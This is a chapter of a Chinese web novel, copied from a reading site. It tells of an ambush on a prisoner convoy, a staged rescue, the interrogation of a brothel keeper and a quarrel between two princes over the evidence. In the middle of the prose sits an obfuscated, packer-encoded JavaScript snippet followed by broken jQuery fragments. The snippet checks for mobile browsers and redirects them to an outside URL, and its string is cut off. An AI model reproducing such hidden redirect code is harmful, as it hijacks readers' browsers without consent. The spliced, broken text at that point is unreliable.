123读书网 > 玄幻小说 > 并骑弈飘飖 > 42.幽冥卷·第十七章
    17


    很快,欢香馆的所有东西都被查封,连姑娘们的房间都没有放过。


    欢香馆的人也尽数分批次运往廷尉府。


    老鸨夫妇和账本以及从地窖里运出来的武器和钱财是第一批。


    由于欢香馆还有太多人和物,这第一批便只有五十龙武军运送。


    夜色已深,距离宵禁的时间已经过去很久了,大街上除了龙武军的火把,再没有其他亮光。


    今夜,连打更人都不曾出没。


    欢香馆距离廷尉府有些距离,走出龙武军所在的范围,街道便寂静空旷起来。


    老鸨夫妇俩戴上了枷锁,运送他们的囚车位于队伍的中段。


    途径一段房屋密集的巷道时,风一吹,两人只觉得阴冷异常,不由得打起寒颤。


    由于嘴巴被绑住了,两人没法说话,只能更加警惕。


    突然,又是一阵大风,路面上的尘土被风扬起。


    老鸨只觉风沙迷眼,不等她闭眼躲避,一支箭几乎擦着她的脸颊飞过。


    老鸨几乎被吓破了胆,不等她做出反应,男人猛地窜到她身后,死死揪着她的衣服。


    竟是要拿她做挡箭牌。


    周围的龙武军也被惊动了,当即警备,但这并没有吓退那些不择手段灭口的疯子。


    密密麻麻的飞箭朝她射来,老鸨还以为自己要死了。


    千钧一发之际,一个身穿银色战甲、红色披风飞扬的将军天神降临般,手持一把长枪挡在她身前。


    那将军枪出如龙,飞箭全部被他打开。


    但那些人还不罢休,朝她不停射箭的同时,还有四个蒙着面目的黑衣人提着刀朝她砍来。


    这四个蒙面人分工明确,一人牵制将军,两个拦住周围的士兵,剩下一人朝她砍来。


    困住她们的囚车成了救命的最后一道屏障。


    但那刀又狠有利,一刀下来,囚车上方的木头横飞四溅。


    黑暗中,老鸨却看得真切,那人的眼神凶狠万分,老鸨几乎胆裂。


    身下的男人死死抓着她,让她动弹不得,看着那人高高举起的大砍刀,老鸨心如死灰,这次没人能救她了,她必死无疑。


    看到那人朝她挥下砍刀,老鸨不甘却不得不认命闭上了双眼。


    命悬一线之际,还是那抹红划过她的双眼,替她挡住了朝她迎面砍来的大刀。


    是那个将军。


    她也终于看清楚了救她的人的脸,是一个年轻俊美但勇猛异常的少年将军。


    原来,是被拦住的士兵们冲了进来,小将军得到支援,便立刻赶过来救她了。


    只见那少年将军手中的长枪猛地一挑,又斜向下往那人腿边一挑,那刀和拿着那刀的人都被挑起。


    少年将军犹觉不够,长枪一收一举,猛然跃起,在半空中又用长枪狠狠击打在那人的腹部。


    那人重重摔在地面上,砸起一地灰尘,铺路的石板应声碎裂,少年将军也稳稳落地。


    他一脚踩住那人的胸膛,手中的长枪直逼那人脖颈。


    不等老鸨再继续看,她被两个士兵拉着去了别的马车上。


    危急时刻拿她做挡箭牌的男人也被拉到了别处,和她分开来。


    车队继续行进,老鸨回头望去,只见那少年将军领着几个士兵在搜查前来灭她们口的人的尸体。


    更多的,她便再没机会细看了。


    *


    等车队完全转过前面的拐角,邹瑅才收回脚,朝脚下被他踩着的人伸出手。


    那人没承他的情,自己爬了起来。


    扯开蒙面的黑纱,便猛然咳嗽起来。


    见冯云咳得脸都有些涨红了,邹瑅也有些心虚。


    “你没事吧?我那一击只使出了三成的力气。”


    看着黑暗中朝他们走来的邹珣等人,冯云瞪他一眼,捂着腹部快步朝邹珣走去。


    那背影,活像是去告状的。


    邹瑅有些蔑视,也有些心虚,一回头,就和赵兴存对上视线,见赵兴存好笑耸肩,他不由得也跟着憨笑,企图糊弄过去。


    看着冯云难受的模样,邹珣面色不悦,但李卓等人也在,他也不好当众发作。


    欧阳谨欣慰上前拍拍邹瑅的肩膀,“虽然刚刚那几下只是做戏,但很是了不得,不枉这些年陛下的悉心教导。”


    印象中,这还是他长大后第一次得到大舅父直白的夸赞,还是当着这么多人的面,邹瑅莫名的有些羞涩,但也有些暗爽。


    赵英催促道:“事不宜迟,我们马上去对她进行审讯。”


    几人也都能理解赵英,唤来暗处的马车,跟着往廷尉府的方向赶去。


    *


    一到廷尉府,赵英反倒冷静下来,等候了差不多一炷香的时间,他才带着邹瑅前往老鸨所在的牢房。


    老鸨被单独关到了牢房的最深处,昏暗幽闭,肉眼所及之处,除了拐角处的两个守卫,再无一人。


    好半响,老鸨怦怦直跳的胸膛才平复下来,突然听到一阵轻微的脚步声,她浑身一僵,还以为又是来杀她的人,抬头望去,见那个救她于危难之中的少年将军也在其中,她心中的恐惧才勉强散去些许。


    她连滚带爬起身跑到围栏边,抓着围栏哭得梨花带雨,“将军,小将军,求您送佛送到西、好事做到底,他们一定还会派人来杀我,求您帮我换一间不那么偏僻的牢房,或者多派些军爷来看管我吧。”


    听她说完,赵英冷笑一声,“勾结逆贼,意图谋反,他们不能杀你灭口,你也活不了多久。”


    老鸨听闻此言,浑身一软,跌坐到地上。


    “赵将军,你先息怒。”邹瑅安抚一声,接过钥匙上前打开房门,将老鸨扶起,“大娘,你快先起来。”


    闻言,我见犹怜、柔弱无骨往邹瑅身上靠的老鸨面色一滞,险些破功,但她很快调整过来,也不再动歪心思,只是无助哭泣。


    邹瑅扶她到木板床上坐下,后退拉开距离后,解释又道:“奸人趁乞巧杀人行凶在先,后又有逼诱民众互殴、散布谣言、煽动民众情绪等系列恶行,欲破来坏我大嬴得来不易的安定,其心可诛,是以赵将军才对相关人等如此痛恨。”


    她泪流满面看着邹瑅,听他说完,又小心翼翼去看赵英的面色。


    见赵英站在门边冷眉怒目,却并没有下一步的动作,她瞬间明白这个几次救她、又耐心跟她解释的少年将军身份绝不一般。


    “小将军,我一介妇人,乱世求生本就不易……我也是被人威胁的啊,”她哭着说着,就又要跪下。


    邹瑅连忙将她扶起,“你先起来,你的苦衷,我们换个地方慢慢说。”


    老鸨一边被邹瑅搀扶着往外走,一边哭着又哀求:“小将军,我什么都告诉你,等你抓到真正的贼人,能放我一条活路吗?我虽被逼迫着做了许多坏事,但我也时常施粥行善,以求少些罪孽,我真的不是十恶不赦的坏人,我真的不想死啊……”


    她说得有些混乱,邹瑅尚不知晓她具体做了些什么,但为了从她口中撬出更多信息,他也只得温言细语先安抚她。


    “我乃是当朝三皇子邹瑅,若你所说句句属实,且助我们抓到背后的逆贼、将功补过,我只会上报父皇,请他对你依功行赏,保你后半生衣食无忧。”


    老鸨虽然猜到他身份不一般,但听到他说他是三皇子,还是难免震惊,腿一软又要跪下,再求个免死金牌。


    邹瑅先一步拉住她,“他们已经派人对你灭口,留给我们的时间不多了,你先将你知道的快快说来吧。”


    说话间已经到了审讯室,纸墨笔砚和审讯记述人员都已经准备好。


    以赵英为首、廷尉府廷尉辅助,他们紧接着便对老鸨进行审问,邹瑅则与其余几人在一侧旁听。


    或许是为了得到更多同情,老鸨见缝插针讲述了很多她的心酸过往。


    老鸨说自己名叫丽娘,今年不过三十六岁。


    她自称幼年被卖,几经辗转进入安阳公主府为婢,十四岁被驸马长兄杨建看中要到府上,十五岁母凭子贵升为妾室。


    但好景不长,等她生下一对龙凤胎,无所出的正室便将她的孩子抱走,她则被几番转送,最后流落到花柳之地为妓。


    陷身妓馆这些年,她逐渐认命,后再次偶遇杨建,她用尽浑身解数去讨好杨建,希望杨建为她赎身,但杨建只是承诺并未行动。


    她年纪渐长,见杨建靠不住,就开始另谋出路,却不料四年前,杨建大手笔的买下她所在的妓馆,更改为如今的欢香馆,还让她做老板。


    虽然没能离开妓馆,但身份不一样了,她自然欢喜还来不及。


    但只过了半年,杨建将她如今的丈夫张思带到欢香馆,让张思和她共同管理欢香馆就罢了,还非要将她嫁给张思。


    张思相貌丑陋猥琐,给她一种凶恶恐怖的感觉,她不想嫁,但由不得她。


    她的直觉很准,张思的确不是什么好人,他几乎完全抢去了欢香馆的掌控权,还在杨建每次来找她过后,唤来许多丑陋猥琐的狐朋狗友一同欺侮打骂她。


    她也曾经跟杨建诉苦,但杨建完全不信,还说张思在给他做一件很重要的大事,让她忍忍。


    她也曾好奇两人的神秘勾当,每次问杨建被糊弄过去,好不容易找到机会问张思,却被张思打骂了个半死,那之后,她明面上就再不敢过问。


    经受了三年多的折磨,丽娘深知两人都不能护她后半生周全,也留了个心眼,她识得的字不多,但她与张思毕竟生活在同一个屋檐下,日积月累,私藏了不少两人的书信与账目往来。


    *


    审讯完毕,夜已经深了,欧阳谨、邹黍他们年纪都不小了,身体也孱弱,尤其是邹黍,交代安排一番就各自回去休息了。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739964|188740||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    赵英命其子赵兴存同廷尉审讯张思,自己则亲自带兵去取丽娘私藏的书信与账目。


    邹瑅给丽娘重新安排了牢房,便去了证物室翻看从欢香馆搬运回来的账目本,却不料邹珣已经在其中,邹瑅还以为他已经回去了,惊了一下,脚步也是一顿。


    邹珣戏谑笑道:“皇弟何故如此惊慌,是做了什么愧对皇兄的事吗?”


    邹瑅闻声反应过来,压下心中心虚慌乱,边若无其事靠近,边转移话题说,“这个玩笑不好笑。这么晚了,你还不回去吗?”


    邹珣虽没不依不舍追问,却阴阳怪气道:“皇弟为父皇面前表现如此废寝忘食,为兄的自然不能懈怠。”


    邹瑅一时语塞,欲言又止,但最终只是翻了个白眼,懒得再搭理他,走到一旁拿起账目仔细看了起来。


    他是真觉得邹珣莫名其妙,从他有记忆起,邹珣就总是和他针锋相对。


    尤其现在,他不走根本不是想表现,而是想确定账目里有没有对邹杲不利的字句。


    殊不知,他这无语的模样更让邹珣心中忌惮,觉得他颇有城府心机,尤其是人前人后两套截然不同的姿态。


    实在咽不下这口气,邹珣起身慢慢走到邹瑅身侧,见他看得认真,不由拔高声量道:“看什么呢,这么认真?”


    他说着,伸手就要去抢,邹瑅本吓了一激灵,本能护住。


    对上邹珣‘你果然有鬼’的探究眼神,又觉无语,当即将手里没发现异常的账本丢给了他。


    “这么好奇,你自己看吧。”说罢,又低头拿着另一本看了起来。


    邹珣翻看几眼,没发现什么稀奇的,遂又将视线转向邹瑅。


    兀地,他问:“你就这么担心邹杲?”


    邹瑅闻言抬头警惕看向他,邹珣却痛心说:“你我才是血脉相连的亲兄弟,邹杲与你我既无血缘,又为父皇所忌惮,你要是真想替父皇分忧,就该与我兄弟同心,一举将邹杲除去,永绝父皇后患。”


    邹瑅忍耐着听他说完才冷声反问:“你说完了?”


    邹珣点点头,上前一步蹲在他面前,笑盈盈说:“你我兄弟联手,替父皇除掉邹杲这条恶犬如何?”


    邹瑅忍了再忍还是没忍着,一把推开邹珣,邹珣一个不察,摔了个屁墩,霎时,邹珣的脸色难看极了,邹瑅想起身去扶他,但邹珣已经自己撑着爬起来了。


    “……抱歉。”一番心理斗争,邹瑅只嗫嚅出这两个字。


    邹珣嫌恶拍打着身上几乎看不见的灰尘污浊,朝门口望去,见没人,当即猛地转过头来,冷冷瞪着他,阴鸷讥笑,“这里又没有除你我以外的第三人,你在装些什么?搞得好像是我欺负你在先一样。”


    邹瑅一愣,是真不理解他这话从何讲起,“我装什么,我听不懂你的意思。”


    知道邹珣嘴里说不出什么好听的话,邹瑅起身看向他,又说:“阿杲与我虽没有血脉关联,但他是父皇当着三军将士的面认下的义子,从那一刻起,他就是父皇的第四个儿子、是我名正言顺的兄长。”


    “他虽嘴上不说,但我知道他把父皇与我视作亲父亲、亲弟弟对待,否则,他也不会几次三番舍命救我和父皇,他对父皇的敬重关心、对我的爱护陪伴,说再多你也不懂。”


    “你说父皇忌惮阿杲,或许确有此事,但父皇与阿杲之间的父子、君臣情谊绝不会因此消失,父皇绝不会因为这种无端的猜忌而要了阿杲的命。何况,阿杲过去虽拥有神武军的虎符,可如父皇亲临般调动神武军,但大统领始终是我二舅欧阳慎。”


    “再说了,真要防备将领拥兵自重,那父皇最先要解决的该是英武军的大统领杨柯才对。”


    “杨柯独揽二十万英武军,虽远在边境,但他的嫡长女是睿王邹珏堂兄的王妃,四弟杨荣是安阳公主的驸马,二弟杨建位列九卿中的少府,掌山海池泽之税。哦还有!我要是没记错的话,他的幼女还是二皇兄你的侧妃,并为你诞下了次子,对吧?”


    邹瑅这番话超出了邹珣对他的固有印象,邹珣沉重看着他,一时没有方反驳,也没有言语,但双目之中,似乎蕴含着浓浓的悲痛。


    邹瑅也知道自己的话说得太过了,他沉默片刻,轻叹了口气,“皇兄还是做好自己分内的事,不要擅自揣度父皇思想,更不要再针对阿杲了。”


    邹珣终于有了反应,他讥讽一笑,笑得邹瑅莫名其妙,只觉自己说了这么说简直对牛弹琴,脾气也上来了。


    “我要继续了,请皇兄自重。”说罢,坐下去拿起账本看得投入。


    邹珣也越发觉得他虚伪可憎,重哼一声,挥袖离去。


    *


    邹瑅没在意这一插曲,和廷尉府的众人几乎都是一夜未眠。


    天还亮,确定账目和丽娘私藏的信件都与邹杲无关后,邹瑅一身轻松,换上家仆送来的朝服,精神抖擞随赵英等人进宫上朝。